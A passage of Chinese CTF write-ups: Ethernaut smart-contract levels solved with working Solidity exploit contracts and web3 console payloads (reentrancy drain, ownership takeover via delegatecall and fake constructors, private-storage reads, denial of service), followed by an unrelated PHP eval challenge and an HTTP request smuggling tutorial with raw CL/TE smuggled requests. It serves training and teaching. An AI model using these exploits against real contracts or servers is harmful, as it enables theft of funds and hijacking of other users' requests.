fallback 和 receive 函数。 receive 函数类型必须是 payable 的,并且里面的语句只有在通过外部地址往合约里转账的时候执行。fallback 函数类型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合约发送非转账交易,如果交易里带有转账信息,交易会被 revert;如果是 payable 的,自然也就可以接受转账了。 尽管 fallback 可以是 payable 的,但并不建议这么做,声明为 payable 之后,其所消耗的 gas 最大量就会被限定在 2300。 也就是说,只要向合约转账,就会执行receive函数。具体来说,就是调用contract.sendTransaction({value : 1})。 所以说,要成为owner要经过以下两个步骤: 1.调用contribute使contribution大于0 2.向合约转账,调用receive,成为owner。 成为owner后,还需要将合约的balance清零,这里需要调用withdraw函数,也就是执行这一句: owner.transfer(address(this).balance); this指针指向的是合约本身,这句话的意思就是合约向owner的地址转帐合约所有的balance。 所以,最终的payload就是: contract.contribute({value: 1}) contract.sendTransaction({value: 1}) contract.withdraw() Fallout 题目描述 Level completed! Difficulty 2/10 Claim ownership of the contract below to complete this level. Things that might help Solidity Remix IDE 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallout {    using SafeMath for uint256;  mapping (address => uint) allocations;  address payable public owner;  function Fal1out() public payable {    owner = msg.sender;    allocations[owner] = msg.value; }  modifier onlyOwner {        require(            msg.sender == owner,            "caller is not the owner"       );        _;   }  function allocate() public payable {    allocations[msg.sender] = allocations[msg.sender].add(msg.value); }  function sendAllocation(address payable allocator) public {    require(allocations[allocator] > 0);    allocator.transfer(allocations[allocator]); }  function collectAllocations() public onlyOwner {    msg.sender.transfer(address(this).balance); }  function allocatorBalance(address allocator) public view returns (uint) {    return allocations[allocator]; } } 分析 提示是用ide看,问题就是他这个构造函数其实不是构造函数,Fal1out,直接调用即可。 过关后,会出现这样一段话: That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right? Well... Not quite. The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract: contract Rubixi { address private owner; function DynamicPyramid() { owner = msg.sender; } function collectAllFees() { owner.transfer(this.balance) } ... This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland. coin flip 题目 需要连续十次猜中硬币翻转结果,猜对了就可以过关。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract CoinFlip {  using SafeMath for uint256;  uint256 public consecutiveWins;  uint256 lastHash;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor() public {    consecutiveWins = 0; }  function flip(bool _guess) public returns (bool) {    uint256 blockValue = uint256(blockhash(block.number.sub(1)));    if (lastHash == blockValue) {      revert();   }    lastHash = blockValue;    uint256 coinFlip = blockValue.div(FACTOR);    bool side = coinFlip == 1 ? true : false;    if (side == _guess) {      consecutiveWins++;      return true;   } else {      consecutiveWins = 0;      return false;   } } } 分析 可以看到,每一次猜的值都要与blockhash/factor进行一个比对。这里,blocknumber指的是当前交易的区块编号,并不是合约所处的区块编号。由于一个块内交易数量很多,所以我们就可以通过布置一个合约,使其交易行为与验证的交易打包在一个块中,这样blockhash的值就可以提前算出来,重复十次即可过关 exp: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract CoinFlip {  uint256 public consecutiveWins;  uint256 lastHash;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor() public {    consecutiveWins = 0; }  function flip(bool _guess) public returns (bool) {    uint256 blockValue = uint256(blockhash(block.number-1));    if (lastHash == blockValue) {      revert();   }    lastHash = blockValue;    uint256 coinFlip = blockValue/FACTOR;    bool side = coinFlip == 1 ? true : false;    if (side == _guess) {      consecutiveWins++;      return true;   } else {      consecutiveWins = 0;      return false;   } } } contract exploit {  CoinFlip expFlip;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor (address aimAddr) public {    expFlip = CoinFlip(aimAddr); }  function hack() public {    uint256 blockValue = uint256(blockhash(block.number-1));    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);    bool guess = coinFlip == 1 ? true : false;    expFlip.flip(guess); } } telephone 题目 需要成为合约的owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Telephone {  address public owner;  constructor() public {    owner = msg.sender; }  function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;   } } } 分析 这里肯定是调用changeOwner,知识点就在于tx.origin和msg.sender之间的区别。 tx.origin (address):交易发送方(完整的调用链) msg.sender (address):消息的发送方(当前调用) 可以认为,origin为源ip地址,sender为上一跳地址。 所以思路就是部署一个合约A,我们调用这个合约A,而这个合约A调用题目合约,即可完成利用。 Exp: pragma solidity ^0.6.0; contract Telephone {  address public owner;  constructor() public {    owner = msg.sender; }  function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;   } } } contract exploit {    Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);    function hack() public{        target.changeOwner(msg.sender);   } } token 题目 The goal of this level is for you to hack the basic token contract below. You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens. 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token {  mapping(address => uint) balances;  uint public totalSupply;  constructor(uint _initialSupply) public {    balances[msg.sender] = totalSupply = _initialSupply; }  function transfer(address _to, uint _value) public returns (bool) {    require(balances[msg.sender] - _value >= 0);    balances[msg.sender] -= _value;    balances[_to] += _value;    return true; }  function balanceOf(address _owner) public view returns (uint balance) {    return balances[_owner]; } } 分析 uint整数溢出,不会小于0。 exp: pragma solidity ^0.6.0; interface IToken {    function transfer(address _to, uint256 _value) external returns (bool); } contract Token {    address levelInstance;    constructor(address _levelInstance) public {        levelInstance = _levelInstance;   }    function claim() public {        IToken(levelInstance).transfer(msg.sender, 999999999999999);   } } delegation 题目 成为合约的owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Delegate {  address public owner;  constructor(address _owner) public {    owner = _owner; }  function pwn() public {    owner = msg.sender; } } contract Delegation {  address public owner;  Delegate delegate;  constructor(address _delegateAddress) public {    delegate = Delegate(_delegateAddress);    owner = msg.sender; }  fallback() external {   (bool result,) = address(delegate).delegatecall(msg.data);    if (result) {      this;   } } } 分析 有两个合约,第一个delegate里面有个pwn函数,可以直接获得owner。第二个合约delegation实例化了delegate,并且定义了fallback函数,里面通过delegeatecall调用delegate合约中的函数。 我们经常会使用call函数与合约进行交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。用于调用其他合约的call类的函数,其中的区别如下:1、call 的外部调用上下文是外部合约2、delegatecall 的外部调用上下是调用合约上下文 也就是说,我们在delegation里通过delegatecall调用delegate中的pwn函数,pwn函数运行的上下文其实是delegation的环境。也就是说,此时执行pwn的话,owner其实是delegation的owner而不是delegate的owner。 抽象点理解,call就是正常的call,而delegatecall可以理解为inline函数调用。 在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个字节就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。 contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)}); force 题目 令合约的余额大于0即可通关。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Force {/*                   MEOW ?         /\_/\   /    ____/ o o \  /~____ =ø= / (______)__m_m) */} 分析 没有任何代码的合约怎么接受eth?这里的话以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点。 所以思路就是搞一个合约出来,然后自毁,强制给题目合约eth。 contract Force {    address payable levelInstance;    constructor (address payable _levelInstance) public {        levelInstance = _levelInstance;   }    function give() public payable {        selfdestruct(levelInstance);   } } vault 题目 使得locked == false 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Vault {  bool public locked;  bytes32 private password;  constructor(bytes32 _password) public {    locked = true;    password = _password; }  function unlock(bytes32 _password) public {    if (password == _password) {      locked = false;   } } } 分析 主要就是猜密码,看起来密码被private保护,不能被访问到,但是其实区块链上所有东西都是透明的,只要我们知道它存储的地方,就能访问到查询到。 使用web3的storageat函数即可查询到特定位置的数据信息。 web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))}); king 题目 合同代表一个非常简单的游戏:谁给它发送了比当前奖金还大的数量的以太,就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖金,但是如果你提交的话那么合约就会回退,让level重新成为国王,而我们的目标就是阻止这一情况的发生。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract King {  address payable king;  uint public prize;  address payable public owner;  constructor() public payable {    owner = msg.sender;      king = msg.sender;    prize = msg.value; }  receive() external payable {    require(msg.value >= prize || msg.sender == owner);    king.transfer(msg.value);    king = msg.sender;    prize = msg.value; }  function _king() public view returns (address payable) {    return king; } } 分析 主要看receive函数,逻辑是先转账然后再更新king和prize,所以说,如果我们使得程序断在接受上,即可使得king不被更新。 所以代码是这样: pragma solidity ^0.6.0; contract attack{    constructor(address _addr) public payable{        _addr.call{value : msg.value}("");   }    receive() external payable{        revert();   } } 接受函数逻辑就是直接revert,这样攻击合约只要发生了转账,就会中止执行,这样transfer就不会成功,king也就不会更新。 reentrancy 题目 盗取合约中所有余额 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Reentrance {    using SafeMath for uint256;  mapping(address => uint) public balances;  function donate(address _to) public payable {    balances[_to] = balances[_to].add(msg.value); }  function balanceOf(address _who) public view returns (uint balance) {    return balances[_who]; }  function withdraw(uint _amount) public {    if(balances[msg.sender] >= _amount) {     (bool result,) = msg.sender.call{value:_amount}("");      if(result) {        _amount;     }      balances[msg.sender] -= _amount;   } }  receive() external payable {} } 分析 这个题目是很著名的re-entrance攻击,也就是重入攻击。漏洞点在于withdraw函数。可以看到他是先调用了msg.sender.call{value:_amount}("");然后再在balance里面将存储的余额减去amount。这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,因为call的参数是空,所以会调用攻击合约的fallback函数,我们在fallback函数里面再次调用withdraw,这样套娃,就能将合约里面的钱都偷出来。 pragma solidity ^0.8.0; interface IReentrance {    function withdraw(uint256 _amount) external; } contract Reentrance {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function claim(uint256 _amount) public {        IReentrance(levelInstance).withdraw(_amount);   }    fallback() external payable {        IReentrance(levelInstance).withdraw(msg.value);   } } elevator 题目 另top==true 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface Building {  function isLastFloor(uint) external returns (bool); } contract Elevator {  bool public top;  uint public floor;  function goTo(uint _floor) public {    Building building = Building(msg.sender);    if (! building.isLastFloor(_floor)) {      floor = _floor;      top = building.isLastFloor(floor);   } } } 分析 合约并没有实现building,需要我们自己定义。从程序的分析来看,top不可能为true。所以我们需要在实现building的时候搞点事情,也就是第一次搞成false,第二次调用搞成true就好。 pragma solidity ^0.8.0; interface IElevator {    function goTo(uint256 _floor) external; } contract Elevator {    address levelInstance;    bool side = true;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function isLastFloor(uint256) external returns (bool) {        side = !side;        return side;   }    function go() public {        IElevator(levelInstance).goTo(1);   } } privacy 题目 将locked成为false 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Privacy {  bool public locked = true;  uint256 public ID = block.timestamp;  uint8 private flattening = 10;  uint8 private denomination = 255;  uint16 private awkwardness = uint16(now);  bytes32[3] private data;  constructor(bytes32[3] memory _data) public {    data = _data; }    function unlock(bytes16 _key) public {    require(_key == bytes16(data[2]));    locked = false; }  /*    A bunch of super advanced solidity algorithms...      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.   ~|__(o.o)      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU  */ } 分析 和那个vault一样,只不过这次的data需要确定位置。 根据32bytes一格的标准,划分如下 //slot 0 bool public locked = true; //slot 1 uint256 public constant ID = block.timestamp; //slot 2 uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now);//2 字节 //slot 3-5 bytes32[3] private data; 所以最终的data[2]就在slot5 所以最终查询: web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);}) naughty coin 题目 NaughtCoin是一个ERC20代币,你已经拥有了所有的代币。但是你只能在10年的后才能将他们转移。你需要想出办法把它们送到另一个地址,这样你就可以把它们自由地转移吗,让后通过将token余额置为0来完成此级别。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 {  // string public constant name = 'NaughtCoin';  // string public constant symbol = '0x0';  // uint public constant decimals = 18;  uint public timeLock = now + 10 * 365 days;  uint256 public INITIAL_SUPPLY;  address public player;  constructor(address _player)  ERC20('NaughtCoin', '0x0')  public {    player = _player;    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));    // _totalSupply = INITIAL_SUPPLY;    // _balances[player] = INITIAL_SUPPLY;    _mint(player, INITIAL_SUPPLY);    emit Transfer(address(0), player, INITIAL_SUPPLY); }    function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {    super.transfer(_to, _value); }  // Prevent the initial owner from transferring tokens until the timelock has passed  modifier lockTokens() {    if (msg.sender == player) {      require(now > timeLock);      _;   } else {     _;   } } } 分析 代码重载了EC20类,但是没有完全重载完,所以说可以直接调用ec20里面的函数进行转账。 contract.approve(player,toWei("1000000")) contract.transferFrom(player,contract.address,toWei("1000000")) preservation 题目 成为owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Preservation {  // public library contracts  address public timeZone1Library;  address public timeZone2Library;  address public owner;  uint storedTime;  // Sets the function signature for delegatecall  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {    timeZone1Library = _timeZone1LibraryAddress;    timeZone2Library = _timeZone2LibraryAddress;    owner = msg.sender; }  // set the time for timezone 1  function setFirstTime(uint _timeStamp) public {    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }  // set the time for timezone 2  function setSecondTime(uint _timeStamp) public {    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract {  // stores a timestamp  uint storedTime;    function setTime(uint _time) public {    storedTime = _time; } } 分析 漏洞点还是在delegatecall上,由于不会改变上下文,所以说settime函数中,将storedtime赋值为time,如果delegatecall调用,其实是把slot1中的数据赋值为time。 所以说第一次setfirsttime将timezone1改掉,改成我们攻击合约地址,这样就可以调用魔改的settime函数。,然后就可以把owner改掉了。 攻击合约代码: pragma solidity ^0.8.0; contract Preservation {    address public timeZone1Library;    address public timeZone2Library;    address public owner;    function setTime(uint256 player) public {        owner = address(uint160(player));   } } 攻击流程: contract.setFirstTime(攻擊合約地址) contract.setFirstTime(player) recovery 题目 合约的创建者已经构建了一个非常简单的合约示例。任何人都可以轻松地创建新的代币。部署第一个令牌合约后,创建者发送了0.5ether以获取更多token。后来他们失去了合同地址。 目的是从丢失的合同地址中恢复(或移除)0.5ether。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Recovery {  //generate tokens  function generateToken(string memory _name, uint256 _initialSupply) public {    new SimpleToken(_name, msg.sender, _initialSupply);   } } contract SimpleToken {  using SafeMath for uint256;  // public variables  string public name;  mapping (address => uint) public balances;  // constructor  constructor(string memory _name, address _creator, uint256 _initialSupply) public {    name = _name;    balances[_creator] = _initialSupply; }  // collect ether in return for tokens  receive() external payable {    balances[msg.sender] = msg.value.mul(10); }  // allow transfers of tokens  function transfer(address _to, uint _amount) public {    require(balances[msg.sender] >= _amount);    balances[msg.sender] = balances[msg.sender].sub(_amount);    balances[_to] = _amount; }  // clean up after ourselves  function destroy(address payable _to) public {    selfdestruct(_to); } } 分析 主要的难点就是找不到合约的地址,不过所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask钱包里面查看交易就能获得合约的地址。找到合约地址后调用destroy函数就行。 pragma solidity ^0.8.0; interface ISimpleToken {    function destroy(address payable _to) external; } contract SimpleToken {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function withdraw() public {        ISimpleToken(levelInstance).destroy(payable(msg.sender));   } } Alien Codex 题目 成为owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import '../helpers/Ownable-05.sol'; contract AlienCodex is Ownable {  bool public contact;  bytes32[] public codex;  modifier contacted() {    assert(contact);    _; }    function make_contact() public {    contact = true; }  function record(bytes32 _content) contacted public { codex.push(_content); }  function retract() contacted public {    codex.length--; }  function revise(uint i, bytes32 _content) contacted public {    codex[i] = _content; } } 分析 合约引入了ownable,这样合约中就多了个owner变量,这个变量经过查询是在slot 0中。 前十六个字节是contact 可以看到调用完makecontact就变成1了。 在这个合约里面,可以指定下标元素赋值,且没有检查。所以说我们只需要计算出codex数组和slot0的距离即可改变owner。 codex是一个32bytes的数组,在slot1中存储着他的长度。我们要计算出一个元素的下标,如果下标溢出,则会存储到slot0中。 在Solidity中动态数组内变量的存储位计算方法可以概括为: b[X] == SLOAD(keccak256(slot) + X),在这个合约中,开头的slot为1,也就是他的长度。(换句话说,数组中某个元素的slot = keccak(slot数组)+ index) 因此第一个元素位于slot keccak256(1) + 0,第二个元素位于slot keccak256(1) + 1,以此类推。 所以我们要计算的下标就是令2^256 = keccak256(slot) + index,即index = 2^256 - keccak256(slot) 攻击代码: pragma solidity ^0.8.0; interface IAlienCodex {    function revise(uint i, bytes32 _content) external; } contract AlienCodex {    address levelInstance;        constructor(address _levelInstance) {      levelInstance = _levelInstance;   }        function claim() public {        unchecked{            uint index = uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));            IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));       }   } } denial 题目 阻止其他人从合约中withdraw。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Denial {    using SafeMath for uint256;    address public partner; // withdrawal partner - pay the gas, split the withdraw    address payable public constant owner = address(0xA9E);    uint timeLastWithdrawn;    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances    function setWithdrawPartner(address _partner) public {        partner = _partner;   }    // withdraw 1% to recipient and 1% to owner    function withdraw() public {        uint amountToSend = address(this).balance.div(100);        // perform a call without checking return        // The recipient can revert, the owner will still get their share        partner.call{value:amountToSend}("");        owner.transfer(amountToSend);        // keep track of last withdrawal time        timeLastWithdrawn = now;        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);   }    // allow deposit of funds    receive() external payable {}    // convenience function    function contractBalance() public view returns (uint) {        return address(this).balance;   } } 分析 其实看到了call函数形式的转账就猜到差不多了,就是fallback函数的利用。在fallback函数中递归的调用wiithdraw函数,这样直到gas用光,就达到目的了。 pragma solidity ^0.8.0; interface IDenial {    function withdraw() external;    function setWithdrawPartner(address _partner) external; } contract Denial {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    fallback() external payable {        IDenial(levelInstance).withdraw();   }    function set() public {        IDenial(levelInstance).setWithdrawPartner(address(this));   } } gatekeeper1 题目 pass三个check 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract GatekeeperOne {  using SafeMath for uint256;  address public entrant;  modifier gateOne() {    require(msg.sender != tx.origin);    _; }  modifier gateTwo() {    require(gasleft().mod(8191) == 0);    _; }  modifier gateThree(bytes8 _gateKey) {      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");    _; }  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; } } 分析 第一个check直接用合约交互即可。 第三个check实际上是个截断问题,也就是说0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff 主要的难点在于第二个check,需要设定执行到gatetwo时的gasleft % 8191 == 0。 达到这个有两个方式,第一种方式是把原本题目合约扒下来,放到debug测试网络,然后攻击合约与其交互,在debug中看下gasleft是多少然后调整算出需要的gasleft。但是不同编译器版本编译出的合约所耗费的gas并不相同,按照medium网站上说的方式到etherscan上查了下合约信息,由于没有上传源码并不能得到题目合约的 编译器版本,所以尽管我们在debug环境下算出了符合条件的gas,仍然不能保证会成功。 第二种方式就比较暴力,直接写一个for循环,每次的gas都从一个值递增1,这样一定会遇到一个符合条件的gas。 pragma solidity ^0.6.0; import  './SafeMath.sol'; interface IGatekeeperOne {    function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperOne {    address levelInstance;    constructor (address _levelInstance) public {        levelInstance = _levelInstance;   }    function open() public {        bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;        for(uint i = 0; i < 8191 ;i++)       {            // IGatekeeperOne(levelInstance).enter{gas: 114928}(key);            levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));       }   } } magicnumber 题目 要求使用总长度不超过10的bytecode编写出一个合约,返回值为42. 代码 pragma solidity ^0.4.24; contract MagicNum {  address public solver;  constructor() public {}  function setSolver(address _solver) public {    solver = _solver; }  /*    ____________/\\\_______/\\\\\\\\\_____             __________/\\\\\_____/\\\///////\\\___            ________/\\\/\\\____\///______\//\\\__             ______/\\\/\/\\\______________/\\\/___            ____/\\\/__\/\\\___________/\\\//_____             __/\\\\\\\\\\\\\\\\_____/\\\//________            _\///////////\\\//____/\\\/___________             ___________\/\\\_____/\\\\\\\\\\\\\\\_            ___________\///_____\///////////////__  */ } 分析 主要参考这个链接,说的也比较详细:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2 值得注意的一点是合约代码的长度是不会算构造函数以及构造合约的init函数的。 gatekeeper2 题目 过三个检查 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract GatekeeperTwo {  address public entrant;  modifier gateOne() {    require(msg.sender != tx.origin);    _; }  modifier gateTwo() {    uint x;    assembly { x := extcodesize(caller()) }    require(x == 0);    _; }  modifier gateThree(bytes8 _gateKey) {    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);    _; }  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; } } 分析 这道题目需要在magicnumber之后做。 第一个check就是部署个合约即可。 第三个利用异或的性质,将key设置为addr ^ 0xffffffffffffff即可。 第二个check比较有意思,是利用了assembler,不过含义如字面意思。 caller()指的就是攻击合约,extcodesize(caller())指的就是攻击合约的代码长度,需要使得其长度为0。 这里在之前的magicnumber提到过,合约代码长度不会算进去构造函数的长度,所以将攻击函数直接写进构造函数即可。 pragma solidity ^0.8.0; interface IGatekeeperTwo {    function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperTwo {    address levelInstance;        constructor(address _levelInstance) {      levelInstance = _levelInstance;      unchecked{          bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1 );          IGatekeeperTwo(levelInstance).enter(key);     }   } } 由于新版本的solidity都会内置整数溢出检查,所以在攻击合约中uint64(0) - 1需要用uncheck修饰。
从一道CTF题到HTTP走私攻击
前言 最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。想和作者一样做一些CTF相关题目,可以在https://www.yijinglab.com/pages/CTFLaboratory.jsp进行一些解题操作,实战靶场级的体验! RoarCTF 2019 Easy Calc 先看下源码: <?php error_reporting(0); if(!isset($_GET['num'])){    show_source(__FILE__); }else{        $str = $_GET['num'];        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\#39;,'\\','\^'];        foreach ($blacklist as $blackitem) {                if (preg_match('/' . $blackitem . '/m', $str)) {                        die("what are you want to do?");               }       }        eval('echo '.$str.';'); } ?> 用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致: 到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念 什么是HTTP请求走私 HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。 Transfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。 这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。 如何实现HTTP请求走私攻击 当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。 CL不为0时 该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。 GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n \r\n GET / HTTP/1.1\r\n Host: example.com\r\n attack: 1\r\n hhh: 这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中 GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n \r\n GET / HTTP/1.1\r\n Host: example.com\r\n attack: 1\r\n hhh: GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n 这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。 CL-TE CL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示: POST / HTTP/1.1 Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net Connection: close Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Language: zh-CN,zh;q=0.9 Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k Content-Length: 6 Transfer-Encoding: chunked 0 A 当我们用Burp两次重放该数据包,会得到返回结果: 解释一下为什么Content-Length的长度是6,因为Burp把\r\n给直接解释成换行了,实际请求体应该是这样: 0\r\n \r\n A 后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。 TE-CL 